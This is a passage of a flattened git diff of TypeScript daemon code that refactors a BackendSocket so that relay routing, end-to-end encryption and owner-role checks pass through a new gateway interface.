'terminal_closed') {- streams!.delete(streamId)- if (streams!.size === 0) this.p2pStreams.delete(connId)- }- return selected- }-- private demoteP2pConnection(connId: string, reason: string): void {- this.p2pPendingOpens.delete(connId)- this.p2pStreams.delete(connId)- console.warn(`[terminal-p2p] conn=${sid(connId)} fallback=relay reason=${reason}`)- }-/** Hold requests at the gate until `openRequests`. The daemon calls this the moment it builds this* socket, before anything can reach it; a socket built without it answers at once. */holdRequests(): void {if (!this.requestsOpen) returnthis.requestsOpen = falsethis.requestGate = new Promise<void>((resolve) => { this.openRequestGate = resolve })+ this.gatewayPort?.holdRequests()}/** Let requests through: every handler is wired and the agents the daemon restored are confirmed.@@ -1322,9 +844,12 @@ export class BackendSocket {this.requestsOpen = truethis.waitingAtGate.clear()this.openRequestGate()+ this.gatewayPort?.openRequests()}- private enqueueDown(frame: Frame, connId: string, transport: DownTransport = 'relay'): void {+ /** A frame into its connection's order, behind the gate: a window's, or a remote client's the gateway+ * opened, with the role its session proved. Resolves once it is handled. */+ private enqueueDown(frame: Frame, connId: string, transport: DownTransport, role: RemoteRole | null = null): Promise<void> {const key = connId || '__backend__'if (!this.requestsOpen) {const waiting = (this.waitingAtGate.get(key) ?? 0) + 1@@ -1333,14 +858,14 @@ export class BackendSocket {console.warn(`[backend] local client ${key} sent ${waiting} requests before the daemon was ready — closing it`)this.waitingAtGate.delete(key)void this.unregisterLocalClient(connId)- return+ return Promise.resolve()}}const previous = this.downChains.get(key) ?? Promise.resolve()const next = previous.catch(() => { /* prior failure is already logged */ }).then(() => this.requestGate)- .then(() => this.dispatchDown(frame, connId, transport))+ .then(() => this.dispatchDown(frame, connId, transport, role)).catch((err) => {console.error('[backend] down-frame dispatch failed:', err instanceof Error ? err.message : err)})@@ -1348,18 +873,17 @@ export class BackendSocket {if (this.downChains.get(key) === next) this.downChains.delete(key)})this.downChains.set(key, next)+ return next}- private enqueueTerminalBinary(connId: string, raw: Uint8Array): void {+ /** A remote client's terminal bytes, opened by the gateway, in its connection's order (not gated: a+ * stream exists only once a request through the gate opened it). */+ private enqueueTerminalBinary(connId: string, clear: TerminalBinaryClear): Promise<void> {const key = connId || '__backend__'const previous = this.downChains.get(key) ?? Promise.resolve()const next = previous.catch(() => { /* prior failure is already logged */ })- .then(async () => {- const clear = this.e2ee.unwrapTerminalBinary(connId, raw)- if (clear) await this.terminalStreams?.handleBinary(connId, clear)- else { const gone = this.e2ee.terminalSessionGone(connId, raw); if (gone) this.sendTo(connId, gone) }- })+ .then(async () => { await this.terminalStreams?.handleBinary(connId, clear) }).catch((err) => {console.error('[backend] binary terminal dispatch failed:', err instanceof Error ? err.message : err)})@@ -1367,59 +891,16 @@ export class BackendSocket {if (this.downChains.get(key) === next) this.downChains.delete(key)})this.downChains.set(key, next)- }-- private drainQueue(): void {- if (this.draining || !this.queue.length) return- const ws = this.ws- if (!ws || ws.readyState !== WebSocket.OPEN) return- const item = this.queue[0]- this.draining = true- try {- ws.send(item.data, (err?: Error) => {- if (this.ws !== ws) return- if (err) {- item.attempts++- this.draining = false- console.error(`[backend] queued send failed (id=${item.id}, attempts=${item.attempts}):`, err.message)- try { ws.close() } catch { /* ignore */ }- return- }- if (this.queue[0] === item) this.queue.shift()- this.draining = false- this.drainQueue()- })- } catch (err) {- item.attempts++- this.draining = false- console.error(`[backend] queued send threw (id=${item.id}, attempts=${item.attempts}):`, err instanceof Error ? err.message : err)- try { ws.close() } catch { /* ignore */ }- }- }-- private dropOneQueued(): void {- const idx = this.queue.findIndex((item) => !('targetConnId' in item.msg))- const dropAt = idx >= 0 ? idx : 0- if (this.queue.splice(dropAt, 1).length) {- this.droppedSinceLog++- this.logQueueDrops()- }- }-- private logQueueDrops(): void {- if (this.droppedSinceLog === 1 || this.droppedSinceLog % 100 === 0) {- console.warn(`[backend] outbound queue full; dropped ${this.droppedSinceLog} frame(s) so far`)- }+ return next}// ── down-frame dispatch (the hosted runtime-role RPC switch) ────────────────────────────────────────────- /** Emit an RPC reply. For an E2EE-session requester whose result carries user content, the reply is- * encrypted with that connection's session key and delivered ONLY to it. Content-bearing adapter data- * is never returned plaintext: even legacy backend nodeRequest (`connId === ''`) gets only an error. */+ /** Emit an RPC reply: in the clear to a window on this computer that asked; through the gateway to a+ * remote client, which seals it to that client alone, or answers a bare E2EE_REQUIRED when it cannot+ * (`GatewayPort.reply`). */private emitReply(connId: string, type: string, requestId: unknown, payload: Record<string, unknown>): void {const resultType = rpcResultType(type)- if (connId && deviceDump.enabled && this.e2ee.sessionRole(connId) === 'device') deviceDump.record('out', 'legacy', connId, { type: resultType, payload: { requestId, ...payload } })// Before the E2EE wrap: an RPC reply is only readable here.if (env.LOG_FRAMES && !TEAM_REQUEST_TYPES.has(type) && !OWNER_COMMAND_TYPES.has(type) && !type.startsWith('viewer_') && type !== 'phone_pair' && type !== 'api_connections' && type !== 'orchestrator' && !type.startsWith('grid_fleet_') && type !== 'agent_read_file' && type !== 'project_preview' && type !== 'git_project_info' && type !== 'git_pull_request' && type !== 'agent_handoff_prepare' && !SHARE_REQUEST_TYPES.has(type) && !type.startsWith('pair')) logFrame('→', connId ? `conn:${sid(connId)}` : 'backend', { type: resultType, payload: { requestId, ...payload } })if (this.localClients.has(connId)) {@@ -1437,41 +918,16 @@ export class BackendSocket {this.goneReplyConn = connIdreturn}- if (connId && this.e2ee.hasSession(connId) && encryptRpcResult(resultType)) {- let replyPayload = payload- // ⚠️ The DIAL's frame budget, so only a dial's reply is fitted to it. The phone app and a remote- // desktop are `web` sessions and search this reply for the agent's latest answer: fitted, a reply- // over ~15KB dropped to one event without its `fullText`, so any agent doing real work — long- // answers — could not be found by what it had just said.- if (resultType === 'agent_recent_result' && this.e2ee.sessionRole(connId) === 'device') {- const trim = fitRecentReplyPayloadForDevice(- payload,- (candidate) => this.e2ee.rpcReplyFrameBytes(connId, resultType, requestId, candidate),- )- replyPayload = trim.payload- if (trim.trimmed) {- console.warn(- `[recent-trim] agent=${String(payload.agentId ?? '')} originalFrame=${trim.originalBytes ?? 'unknown'} ` +- `finalFrame=${trim.finalBytes ?? 'unknown'} target=${DEVICE_RECENT_SAFE_FRAME_BYTES} ` +- `textBytes=${trim.textBytes} recapBytes=${trim.recapBytes}`,- )- }- }- const wrapped = this.e2ee.wrapRpcReply(connId, resultType, requestId, replyPayload)- if (wrapped) { this.sendTo(connId, wrapped); return }- }- // Enforcement ("no E2EE ⇒ no adapter data"): a content-bearing reply that could not be sealed is a- // bare E2EE_REQUIRED, never its content in the clear. Either way it goes to the requester alone:- // through `send()` a reply went to every web client of this machine and every window on it, though- // each app takes a reply by its own request id and ignores the rest (ws_conn.dart in the desktop and- // phone apps, hn's daemon.rs, the CLI's relay pool). The backend's own nodeRequest (`connId === ''`)- // has no connection to be answered on: it hears the reply on the bus, and fails closed on the error.- const reply = { type: resultType, payload: encryptRpcResult(resultType) ? { requestId, error: 'E2EE_REQUIRED' } : { requestId, ...payload } }- if (connId) this.sendTo(connId, reply)- else this.send(reply)+ this.toGateway('reply', (gateway) => gateway.reply(connId, type, requestId, payload))}- private async dispatchDown(frame: Frame, connId: string, transport: DownTransport = 'relay'): Promise<void> {+ /**+ * One frame, in its connection's order and past the gate: a window's or tool's on this computer+ * (`local`), or a remote client's, which the gateway admitted and opened (`relay`, `p2p`) with the role+ * of the session that sealed it. The relay's own rules (the backend's frames, default-deny, the E2EE+ * handshake) were the gateway's to apply before the frame got here (gateway/gateway.ts).+ */+ private async dispatchDown(frame: Frame, connId: string, transport: DownTransport = 'local', role: RemoteRole | null = null): Promise<void> {const type = frame.type as string | undefinedif (!type) return// Whether this frame came from a process on THIS machine — the trust boundary the gates below@@ -1481,87 +937,37 @@ export class BackendSocket {// frames were then read as the BACKEND's. The transport half closes that, because it is stamped// at enqueue by the caller that had just verified membership. Either one being true is local.const local = transport === 'local' || this.localClients.has(connId)- // ⚠️ The backend's own instructions, refused from anywhere else. See BACKEND_ONLY_DOWN_TYPES.- // `transport === 'relay'` rather than `!local`, so this keeps holding if the p2p allowlist- // (`TERMINAL_P2P_DOWN_TYPES`) ever widens; "not local" would quietly start admitting p2p.- //- // Deliberately ABOVE the observer hand-off below. A genuine observer frame is `relay`, so this- // never intercepts one; but placed after it, a forged `observer:` connId on a local or p2p frame- // would be swallowed by `harnessSharing.receive` and returned without ever reaching this line —- // silently, with no warning — and the invariant would then rest on three facts in other files- // (the `local:` prefix rule, `registerLocalClient`'s check, the p2p-signal ordering) instead of- // on this one. The grid-name incident was exactly a bypass nobody could see.- if (transport !== 'relay' && BACKEND_ONLY_DOWN_TYPES.has(type)) {- console.warn(`[backend] ignoring ${type} from ${transport} (${connId}) — only the backend may send it`)- return- }- if (connId.startsWith('observer:')) {- await this.harnessSharing?.receive(connId, type, (frame.payload ?? {}) as Record<string, unknown>)- return- }- if (type.startsWith('observer_')) return- // E2EE control frames (pairing/handshake) are handled by the manager, never as node RPCs.- if (type.startsWith('e2e_')) {- if (local) {- this.sendTo(connId, { type: 'local_protocol_error', payload: { error: 'LOCAL_E2EE_UNSUPPORTED' } })+ if (local) {+ // ⚠️ The backend's own instructions, refused from anywhere else. See BACKEND_ONLY_DOWN_TYPES.+ if (BACKEND_ONLY_DOWN_TYPES.has(type)) {+ console.warn(`[backend] ignoring ${type} from ${transport} (${connId}) — only the backend may send it`)return}- const deviceBefore = deviceDump.enabled && (this.isDeviceConn(connId) || (type === 'e2e_pair_intent' && (frame.payload as { role?: unknown } | undefined)?.role === 'device'))- if (deviceBefore) deviceDump.record('in', 'wire', connId, frame)- this.e2ee.handleFrame(connId, frame)- // A reconnecting device is only known as one once its hello has been accepted.- if (!deviceBefore && deviceDump.enabled && this.isDeviceConn(connId)) deviceDump.record('in', 'wire', connId, frame)- return- }- if (type === 'autonomous_device_request') {- if (!local) await this.autonomousDeviceRelay?.handle(connId, frame)- return- }- // ⚠️ Default-deny: the relay is NOT trusted. A non-local frame is acted on only if it opens under- // this connId's E2EE session — whatever its type — or is one of the backend's own plaintext frames.- // A list of "sensitive" types to check instead fails open: every type missing from it, including- // ones added later, would be taken in the clear.- //- // The backend's own control frames are the mirror image: only ever plaintext, because the backend- // holds no key — so one that arrives SEALED was sealed by a paired client, and opening it would let- // that client speak as the backend (`machine_meta` repoints this computer's grid).- if (!local) {- const from = `${transport} (${connId ? `conn:${sid(connId)}` : 'backend'})`- const wrapped = isWrapped(frame.payload)- if (type.startsWith('__') || BACKEND_ONLY_DOWN_TYPES.has(type)) {- // And only on the backend's OWN address: it sends these with `connId: ''`, while every frame a- // client sends arrives stamped with that client's connId — so a client-shaped one was relayed, not- // written by the backend, whichever socket let it through. `__client_disconnected` is the one the- // hub addresses to a client's own connId; it only tears down that connection's state.- if (transport !== 'relay' || wrapped || (connId !== '' && type !== '__client_disconnected')) {- console.warn(`[backend] ignoring ${logSafeType(type)} from ${from} — only the backend sends it, and only in the clear`)- return- }- } else if (wrapped) {- const dec = this.e2ee.unwrapDown(connId, frame)- // Sealed for a session this process never had: told, rather than dropped without a word.- if (!dec) { const gone = this.e2ee.sessionGone(connId, frame); if (gone) this.sendTo(connId, gone); return }- frame = dec- } else {- console.warn(`[backend] refusing plaintext ${logSafeType(type)} from ${from} — E2EE required`)- const requestId = (frame.payload as { requestId?: unknown } | undefined)?.requestId- if (requestId !== undefined) this.emitReply(connId, type, requestId, { error: 'E2EE_REQUIRED' })+ // The backend hub's own control frames (`__clients`, `__client_disconnected`) are the gateway's to+ // hear, from the backend: a process on this computer was able to set how many devices watch it.+ if (type.startsWith('__')) {+ console.warn(`[backend] ignoring ${logSafeType(type)} from ${transport} (${connId}) — only the backend sends it`)return}+ // E2EE belongs to the relay: a window here speaks in the clear, and has no handshake to make.+ if (type.startsWith('e2e_')) {+ this.sendTo(connId, { type: 'local_protocol_error', payload: { error: 'LOCAL_E2EE_UNSUPPORTED' } })+ return+ }+ if (type === 'autonomous_device_request') return}- if (!local && deviceDump.enabled && this.e2ee.sessionRole(connId) === 'device') deviceDump.record('in', 'legacy', connId, frame)- if (!local && TERMINAL_P2P_SIGNAL_TYPES.has(type)) {- await this.terminalP2p.handleSignal(connId, type, frame.payload)- return- }- // Logged AFTER the unwrap above, so a down-frame reads as what the client actually asked for rather- // than as an opaque __e2e envelope.+ if (type.startsWith('observer_')) return+ // Logged as opened (the gateway unwrapped a remote client's), so a down-frame reads as what the client+ // actually asked for rather than as an opaque __e2e envelope.// Terminal frames contain raw keystrokes, paste text and screen bytes after// unwrap. Never pass them to the frame logger, even in diagnostic mode.if (env.LOG_FRAMES && !TEAM_REQUEST_TYPES.has(type) && !OWNER_COMMAND_TYPES.has(type) && !type.startsWith('terminal_') && !type.startsWith('viewer_') && !type.startsWith('grid_fleet_') && type !== 'agent_read_file' && type !== 'project_preview' && type !== 'git_project_info' && type !== 'git_pull_request' && type !== 'agent_handoff_prepare' && type !== 'orchestrator' && type !== 'api_connections' && type !== 'phone_pair' && !SHARE_REQUEST_TYPES.has(type) && !type.startsWith('pair')) {logFrame('←', connId ? `conn:${sid(connId)}` : 'backend', frame)}const reply = (t: string, rid: unknown, p: Record<string, unknown>): void => this.emitReply(connId, t, rid, p)+ // Who may act as this machine's owner: a process here, or the owner's own paired app or browser, whose+ // session the gateway says is a `web` one. A device or an observer may not.+ const owner = local || role === 'web'const lifecycleTarget = (frame.payload as { agentId?: unknown } | undefined)?.agentIdif (typeof lifecycleTarget === 'string' && this.purgeAgentService?.busy(lifecycleTarget)&& ['agent_close', 'agent_delete', 'agent_resume', 'agent_restart', 'agent_retarget', 'agent_update'].includes(type)) {@@ -1573,151 +979,13 @@ export class BackendSocket {reply(type, p.requestId, result ?? { error: 'UNSUPPORTED' })return}- // Cross-instance client snapshot. Generation detects leave/join cycles that coalesce to the same- // count; count rise remains the compatibility fallback for older backends.- if (type === '__clients') {- const payload = (frame.payload ?? {}) as { commander?: number; commanderActive?: number; commanderJoinGeneration?: number }- const commander = Number(payload.commander ?? 0)- const rawGeneration = payload.commanderJoinGeneration- const generation = typeof rawGeneration === 'number' && Number.isSafeInteger(rawGeneration) && rawGeneration >= 0- ? rawGeneration- : undefined- const replay = shouldReplayCommander(- this.commanderCount,- commander,- this.replayedCommanderGeneration,- generation,- this.replayCommanderOnNextSnapshot,- )- this.setCommanderCount(commander, payload.commanderActive != null ? Number(payload.commanderActive) : null)- if (replay) {- this.replayCommanderOnNextSnapshot = false- if (generation != null) this.replayedCommanderGeneration = generation- this.onCommanderJoin?.()- }- return- }- if (type === '__client_disconnected') {- // The backend is authoritative for the outer connId. Drop both kinds of- // connection-scoped state immediately; otherwise a dead Desktop keeps a- // terminal controller lease until the 30-second heartbeat timeout.- this.autonomousDeviceRelay?.drop(connId)- this.e2ee.dropSession(connId)- this.viewerForwarder.closeConnection(connId)- this.interactiveViewers.closeConnection(connId); this.ownerCommands.closeConnection(connId)- await this.terminalP2p.closeConnection(connId, 'client_disconnected', false)- this.p2pPendingOpens.delete(connId)- this.p2pStreams.delete(connId)- await this.terminalStreams?.closeConnection(- connId,- 'client connection closed',- false,- )- return- }- // Other backend-hub internal control frames (__clients_dirty) — not for us; drop silently.- if (type.startsWith('__')) return-- // The machine was deleted/revoked from the web → stop for good (don't reconnect) and let the CLI- // clear the saved token. `closed` blocks the reconnect that would otherwise fire on socket drop.- if (type === 'machine_revoked') {- const p = (typeof frame.payload === 'object' && frame.payload !== null ? frame.payload : {}) as { reason?: unknown; pub?: unknown }- // Another key under this machine id was removed — an earlier install of this computer that this one- // waits behind (`device_conflict`). The frame goes to the machine id, so it reaches this install too:- // that removal is what lets this key register, not a sign-out. Re-read the log instead.- if (p.reason === 'device_removed' && typeof p.pub === 'string' && this.isOwnDeviceKey && !this.isOwnDeviceKey(p.pub)) {- this.onDeviceKeysChanged?.()- return- }- this.closed = true- // Removed from the account's device key log (not just signed out): the key itself is spent.- if (p.reason === 'device_removed' && typeof p.pub === 'string') {- try { this.onDeviceRemoved?.(p.pub) } catch { /* signing out still happens */ }- }- this.onRevoked?.()- return- }-- // The account's tabs changed on another computer (or in another window of this one): hand the- // window the revision and let it fetch `/api/desk` through this daemon. Backend-only, like- // machine_meta — a local client cannot make the window re-read anything by sending this.- if (type === 'desk_changed') {- this.refreshChannels()- const revision = (typeof frame.payload === 'object' && frame.payload !== null ? (frame.payload as { revision?: unknown }).revision : undefined)- this.sendLocal({ type: 'desk_changed', payload: { revision: typeof revision === 'number' ? revision : 0 } })- return- }-- // The account's zoo — its daemons and eggs — changed on another client: the same hand-off as the- // desk, on its own frame, so the window re-reads `/api/zoo` and never the desk (or the other way- // round). Backend-only for the same reason as desk_changed.- if (type === 'zoo_changed') {- const revision = (typeof frame.payload === 'object' && frame.payload !== null ? (frame.payload as { revision?: unknown }).revision : undefined)- this.sendLocal({ type: 'zoo_changed', payload: { revision: typeof revision === 'number' ? revision : 0 } })- return- }-- // The account's device key log grew: this daemon re-reads and verifies it (deviceLogSyncer.ts), and- // the window re-reads its Devices list. Backend-only for the same reason as desk_changed.- if (type === 'device_keys_changed') {- this.onDeviceKeysChanged?.()- this.sendLocal({ type: 'device_keys_changed', payload: {} })- return- }- // The backend's answer to this machine's own append to the device key log.- if (type === 'devlog_append_result') {- const p = (typeof frame.payload === 'object' && frame.payload !== null ? frame.payload : {}) as Record<string, unknown>- const done = typeof p.requestId === 'string' ? this.devlogAppends.get(p.requestId) : undefined- if (done) { this.devlogAppends.delete(p.requestId as string); done(p) }- return- }-- // The account's machine list changed on some worker — a machine created / renamed / deleted, or a- // shared harness invited / taken back. The window re-reads `/api/machines` through this daemon; this- // push is why it does not have to poll for that. Backend-only for the same reason as desk_changed.- if (type === 'machines_changed') {- const reason = (typeof frame.payload === 'object' && frame.payload !== null ? (frame.payload as { reason?: unknown }).reason : undefined)- this.sendLocal({ type: 'machines_changed', payload: { reason: typeof reason === 'string' ? reason : 'updated' } })- return- }-- // Machine display name (seed on connect + web renames) — mirrored locally for `harness status`.- if (type === 'machine_meta') {- // ⚠️ The BACKEND's frame and nobody else's. It carries this machine's display name and, more- // to the point, the account's private grid — the grid every agent on this computer is then- // pointed at. Accepted from any transport, it let a process that could open the daemon's local- // port redirect the account's inference somewhere of its choosing, and a leftover test script- // doing exactly that by accident cost hours to find. No client sends this frame; there is- // nothing to be compatible with.- // The source check is above, with the other frames only the backend may send.- //- // A malformed/hostile frame's payload need not be an object; `'gridName' in meta` would throw- // on a primitive (and drop the whole frame via enqueueDown's catch). Guard the type first, the- // way the plain property reads elsewhere in this dispatcher tolerate one.- const meta = (typeof frame.payload === 'object' && frame.payload !== null ? frame.payload : {}) as { name?: unknown; gridName?: unknown }- const name = meta.name- // The account's private grid, pushed on connect. Held in memory only: it is the backend's- // value, and a daemon that cached it on disk would keep answering with a stale one after the- // account's grid changed. Only ACT on the key when it is present: the connect frame always- // carries it (a string or null), but a rename pushes `{name}` alone — and treating that- // absence as null used to WIPE a grid name a moment after it was set, leaving the picker- // empty. Absent ⇒ unchanged; null ⇒ this account has none; a string ⇒ that grid.- if ('gridName' in meta) {- this.harnessGridName = typeof meta.gridName === 'string' && meta.gridName.trim() ? meta.gridName.trim() : null- }- // The same rule for the name: a frame that does not carry it leaves it as it was.- if ('name' in meta) this.machineDisplayName = typeof name === 'string' && name.trim() ? name.trim() : null- this.onMachineMeta?.(typeof name === 'string' && name.trim() ? name.trim() : null)- return- }-const payload = (frame.payload ?? {}) as Record<string, unknown>const requestId = payload.requestIdconst answer = (result: Record<string, unknown>): void => reply(type, requestId, result)if (TEAM_REQUEST_TYPES.has(type)) {// Observers were handled above; only the owner or a paired owner client reaches this route.- if (!local && this.e2ee.sessionRole(connId) !== 'web') {+ if (!owner) {reply(type, requestId, { error: 'OWNER_REQUIRED', detail: 'Team communication requires an owner connection.' })return}@@ -1746,13 +1014,13 @@ export class BackendSocket {// A paired owner can run the machine's orchestrator; observers and device sessions cannot.// Both requests and replies are encrypted, including project artifacts.if (OWNER_COMMAND_TYPES.has(type)) {- if (!local && this.e2ee.sessionRole(connId) !== 'web') { reply(type, requestId, { error: 'OWNER_REQUIRED' }); return }+ if (!owner) { reply(type, requestId, { error: 'OWNER_REQUIRED' }); return }void this.ownerCommands.request(connId, type, payload).then(result => reply(type, requestId, result))return}if (type === 'orchestrator') {- if (!local && this.e2ee.sessionRole(connId) !== 'web') { reply(type, requestId, { error: 'OWNER_REQUIRED' }); return }+ if (!owner) { reply(type, requestId, { error: 'OWNER_REQUIRED' }); return }// Detached: a large artifact snapshot must not block cancel/status on this connection.void orchestratorRequest(this.orchestration(), payload).then(result => reply(type, requestId, result))@@ -1770,7 +1038,7 @@ export class BackendSocket {}if (type === 'viewer_surface') {- if (!local && this.e2ee.sessionRole(connId) !== 'web') return+ if (!owner) return// Rendering and input never hold up terminal traffic on the ordered machine queue.void this.interactiveViewers.request(connId, payload).then(result => reply(type, requestId, result))@@ -1778,24 +1046,23 @@ export class BackendSocket {return}- // Trust-group roster exchange: only over an E2EE session, from the identity that session proved —- // the roster carries the keys this machine trusts, and the peer's own entry must be that identity.+ // Trust-group roster exchange: only over an E2EE session, from the identity that session proved, which+ // the gateway answers (gateway/gateway.ts). A window here has no identity to prove.if (type === 'group_sync') {- const peerPub = local ? null : this.e2ee.sessionIdentity(connId)- if (!peerPub || this.e2ee.sessionRole(connId) !== 'web' || !this.groupSync) { reply(type, requestId, { error: 'UNSUPPORTED' }); return }- try { reply(type, requestId, this.groupSync.handle(peerPub, payload)) } catch { reply(type, requestId, { error: 'GROUP_SYNC_FAILED' }) }+ reply(type, requestId, { error: 'UNSUPPORTED' })return}if (type.startsWith('viewer_')) {- if (VIEWER_DOWN_TYPES.has(type) && (local || this.e2ee.sessionRole(connId) === 'web')) {+ if (VIEWER_DOWN_TYPES.has(type) && owner) {this.viewerForwarder.handle(connId, type, payload)}return}+ // Which of a remote client's terminal streams ride its P2P channel is the gateway's, which noted this+ // frame's route as it opened it.if (type.startsWith('terminal_')) {- this.noteTerminalInputRoute(connId, type, payload, transport)const taken = this.terminalStreams ? await this.terminalStreams.handleFrame(connId, type, payload) : false// `terminal_info` (what a pane runs and where, which hn asks) is not a stream's: the streams pass// it over, and it is answered below. From hn's first release it stopped here unanswered@@ -1806,7 +1073,7 @@ export class BackendSocket {// A request a service answers, in its own process or in this one: routed to it, or answered// SERVICE_UNAVAILABLE while it is off. Never waited on in line: the next frame is not held for it.// Who asked is established here, after the gates above, and the service trusts only that.- const asker: Asker = { local, owner: local || this.e2ee.sessionRole(connId) === 'web' }+ const asker: Asker = { local, owner }// A window that draws row state asks for the models list with `rowState`, and the list's changes are// pushed to it in that form (`pushGridModels`). Noted here, by connection: the models service answers// the list, and a request reaches it without its connection.@@ -1843,29 +1110,20 @@ export class BackendSocket {case 'grid_fleet_cancel':reply(type, requestId, { cancelled: typeof payload.commandId === 'string' && this.gridFleet.cancel(connId, payload.commandId) })return+ // The pairings, which the gateway holds: a window here asks it through the core+ // (GATEWAY_REQUEST_TYPES), and a remote client's own requests never reach this switch.case 'device_e2ee_pair':- await this.e2ee.pairDeviceFromTrustedWeb(connId, payload)- returncase 'phone_pair':- // CPace waits for another connection. Do not block this browser's terminal queue.- void this.e2ee.pairPhoneFromTrustedWeb(connId, payload)- return-case 'e2ee_pairings_list':- reply(type, requestId, { pairs: this.e2ee.listPaired(connId) })- return-case 'e2ee_pairing_unpair':- this.e2ee.revokeFromTrustedWeb(connId, payload)- return-case 'e2ee_pairings_unpair_all':- this.e2ee.revokeAllFromTrustedWeb(connId, requestId)+ if (this.gatewayPort && GATEWAY_REQUEST_TYPES.has(type)) await this.gatewayPort.local(connId, frame)+ else if (requestId !== undefined) reply(type, requestId, { error: 'UNSUPPORTED' })return// The agents on this machine, live and, when asked, stopped (core/agents/list.ts, bound by cli.ts).case 'agents_list':- if (this.agentsProvider) await this.agentsProvider(payload, () => this.e2ee.sessionRole(connId), answer)+ if (this.agentsProvider) await this.agentsProvider(payload, () => (local ? null : role), answer)else reply(type, requestId, { error: 'UNSUPPORTED' })return@@ -1985,7 +1243,7 @@ export class BackendSocket {return}if (api) {- if (!local && this.e2ee.sessionRole(connId) !== 'web') { reply(type, requestId, { error: 'OWNER_REQUIRED' }); return }+ if (!owner) { reply(type, requestId, { error: 'OWNER_REQUIRED' }); return }try {payload.grid = await resolveApiTarget(this.apiConnections, api, typeof payload.apiModel === 'string' ? payload.apiModel.trim() : '')} catch (error) {@@ -2110,7 +1368,7 @@ export class BackendSocket {// Physical devices belong to this machine; only its owner or loopback tools may manage them.case 'harness_devices_list':case 'harness_device_settings': {- if (!local && this.e2ee.sessionRole(connId) !== 'web') {+ if (!owner) {reply(type, requestId, { error: 'OWNER_REQUIRED' })return}diff --git a/cli/src/core/api.ts b/cli/src/core/api.tsindex 87bba64b1..2c32ac278 100644--- a/cli/src/core/api.ts+++ b/cli/src/core/api.ts@@ -26,6 +26,7 @@ import type { RouterContinuity } from '../lib/voiceRouter.js'import type { ExternalSessions, OpenSessions } from '../lib/sessionSearch/external.js'import type { SessionSearchIndex } from '../lib/sessionSearch/indexer.js'import type { StoppedAgentStore } from '../lib/stoppedAgents.js'+import type { TerminalBinaryClear } from '../lib/terminalBinary.js'import type { RouteAnswer } from '../localWsServer.js'import type { SwarmPromptScopes } from '../teams/promptScope.js'import { FAIL, later, ServiceUnavailableError, type PortFallbacks } from './serviceHost.js'@@ -366,6 +367,116 @@ export const FLEET_FALLBACKS: PortFallbacks<FleetPort> = {select: later(FAIL), release: FAIL,}+/*+ * The gateway: the relay and its end-to-end encryption (docs/design/2026-10-06-core-boundary-next.md,+ * "Relay and E2EE", step 10). It holds the backend link, the E2EE sessions and the keys; every remote+ * client (a phone, a browser, another machine's desktop, a device) reaches the core through it, and every+ * frame the core has for one leaves through it. The core speaks plaintext to it, and never sees a key.+ *+ * Unlike a service it is transport: what it tells the core (`GatewayEvents`) is who the remote clients+ * are and what they asked, and what the core asks of it (`GatewayPort`) is to carry frames to them, sealed+ * by its rules (which frames, to whom, what is refused unsealed), which stay the gateway's alone.+ */++/** What a remote client proved with its E2EE session: an owner's app or browser, or a device. */+export type RemoteRole = 'web' | 'device'++/** A remote client the gateway holds a session with, as the core may know it: its role, and the label+ * its identity was paired under (null for none), for naming it to the person. */+export interface RemoteClient {+ role: RemoteRole+ label: string | null+}++/** How a remote client's frame arrived: the backend's relay, or a paired client's own P2P channel. */+export type RemoteTransport = 'relay' | 'p2p'++/** The control frames only the backend sends, as the gateway hands them on once it has checked that the+ * backend sent them (on its own address, in the clear, over the relay). */+export type BackendNotice =+ | { type: 'desk_changed'; revision: number }+ | { type: 'zoo_changed'; revision: number }+ | { type: 'machines_changed'; reason: string }+ | { type: 'device_keys_changed' }++/** What the core asks of the gateway: everything bound for a remote client, and the link's state. */+export interface GatewayPort {+ /** Dial the backend: this daemon is signed in. */+ connect(): void+ /** Never dial: signed out, so nothing is sealed or queued for a link that will not open. */+ serveThisComputerOnly(): void+ /** Hold remote clients' frames, in order, until `openRequests`: the core is not ready to answer. */+ holdRequests(): void+ openRequests(): void+ /** Whether the backend link is up. */+ connected(): boolean+ /** A frame for the web audience: sealed under the group key when it carries content, queued while the+ * link is down. */+ broadcast(frame: Record<string, unknown>): void+ /** A frame for the devices (the commander audience), sealed the same way. */+ commander(frame: Record<string, unknown>): void+ /** A notification for every browser signed in to the account (the user audience). */+ user(frame: Record<string, unknown>): void+ /** The answer to a remote client's request: to it alone, sealed when its type carries content, and a+ * bare E2EE_REQUIRED when it cannot be. `connId` '' is the backend's own request. */+ reply(connId: string, type: string, requestId: unknown, payload: Record<string, unknown>): void+ /** A frame for one remote client, sealed to it; false when it holds no session. */+ target(connId: string, type: string, payload: Record<string, unknown>): boolean+ /** A terminal frame for one remote client, sealed to it, over its P2P channel when the stream moved+ * there; false when it could not be sent. */+ terminal(connId: string, type: string, payload: Record<string, unknown>): boolean+ terminalBinary(connId: string, clear: TerminalBinaryClear): boolean+ /** Share's frame to an observer: plaintext to the relay, sealed by Share itself. */+ observer(connId: string, type: string, payload: Record<string, unknown>): boolean+ /** A window opened on this computer: the backend counts it as the person's session at once, or when+ * the link next comes up. */+ windowOpened(): void+ /** How many processes on this computer are attached, windows and tools. */+ localClients(count: number): void+ /** A local connection's request the gateway answers (the E2EE pairings), answered back to it through+ * `GatewayEvents.toLocal`. */+ local(connId: string, frame: Record<string, unknown>): Promise<void>+ stop(): Promise<void>+}++/** What the gateway tells the core. In the core's process these are calls; in the gateway's own, frames+ * on the link the master started it with, which no other process can open. */+export interface GatewayEvents {+ /** A remote client's request, opened and admitted. `role` is the session that sealed it: who asked is+ * the gateway's word, and the core trusts nothing in the frame for it. Resolves once it is handled. */+ frame(connId: string, frame: Record<string, unknown>, transport: RemoteTransport, role: RemoteRole): Promise<void> | void+ /** A remote client's terminal bytes, opened. */+ binary(connId: string, clear: TerminalBinaryClear): Promise<void> | void+ /** A remote client gained a session (its role and label), or lost it (null). */+ client(connId: string, client: RemoteClient | null): void+ /** The relay says a client's connection closed: what it had open goes with it. */+ disconnected(connId: string): Promise<void> | void+ /** Share's observer, relayed: Share opens its own frames. */+ observer(connId: string, type: string, payload: Record<string, unknown>): Promise<void> | void+ /** A frame for a window on this computer that asked the gateway something (`GatewayPort.local`); with+ * `connId` '', for every process attached here (the answer to the backend's own request, which the+ * windows heard with every event before the gateway was its own part). */+ toLocal(connId: string, frame: Record<string, unknown>): void+ /** The backend link's state, as it changes. */+ status(connected: boolean): void+ /** The link went down: every remote client with it. */+ linkDown(): void+ /** How many devices watch this machine, and how many of them render it now (null: the backend does not+ * say). `recheck`: the presence was asked about again, though it may not have changed. */+ commanders(count: number, active: number | null, recheck?: boolean): void+ /** A device attached: the live state is sent again for it. 